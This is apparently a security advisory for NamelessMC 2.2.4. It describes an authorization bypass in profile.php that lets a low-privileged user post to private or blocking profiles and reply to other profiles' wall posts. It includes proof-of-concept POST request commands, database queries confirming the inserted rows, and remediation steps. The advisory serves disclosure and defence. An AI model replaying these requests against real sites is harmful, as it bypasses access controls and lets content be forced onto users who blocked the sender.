Private or blocking profile pages can be bypassed with direct POST requests, and reply handling allows cross-profile writes

Summary

[modules/Core/pages/profile.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Core/pages/profile.php) processes new_post and reply before it decides whether the viewer is allowed to access the profile (CAN_VIEW). As a result, any user with profile.post can submit content to private or blocking profiles. The reply branch only checks whether the target wall post ID exists and does not verify that the wall post belongs to the current profile page.

Impact

• Attackers can write wall posts to private or blocking profiles
• Attackers can use a restricted profile URL to inject replies into arbitrary wall posts owned by other profiles

Preconditions

• Low-privileged user member
• Victim user victim with private_profile=1
• victim has blocked member
• Victim wall post id=10
• Public admin wall post id=11

PoC A: Post directly to a blocked/private profile

docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
  --method=POST \
  --uri='/profile/victim/' \
  --session-id='mprof1' \
  --session-json='{"2user":"memberhash1234567890abcdef","2token":"tokmember"}' \
  --post-json='{"action":"new_post","post":"Bypass new_post on blocked private profile","token":"tokmember"}'

Observed response:

{
  "status": 302
}

Database confirmation:

docker exec nameless-224-db-1 mariadb -unameless -pnameless -D nameless \
  -e "SELECT id,user_id,author_id,content FROM nl2_user_profile_wall_posts WHERE user_id = 4 ORDER BY id DESC LIMIT 5;"

Observed row:

12  4  3  Bypass new_post on blocked private profile

PoC B: Reply to an unrelated wall post through a blocked victim profile URL

docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
  --method=POST \
  --uri='/profile/victim/' \
  --session-id='mprof3' \
  --session-json='{"2user":"memberhash1234567890abcdef","2token":"tokmember"}' \
  --post-json='{"action":"reply","post":"11","reply":"Cross-profile reply via blocked victim URL","token":"tokmember"}'

Database confirmation:

docker exec nameless-224-db-1 mariadb -unameless -pnameless -D nameless \
  -e "SELECT id,post_id,author_id,content FROM nl2_user_profile_wall_posts_replies WHERE post_id = 11 ORDER BY id DESC LIMIT 5;"

Observed row:

1  11  3  Cross-profile reply via blocked victim URL

Remediation

• Evaluate blocked/private-profile authorization before any new_post or reply handling
• Require the target wall post to belong to the current profile before inserting a reply
• Centralize all profile write authorization checks into one reusable function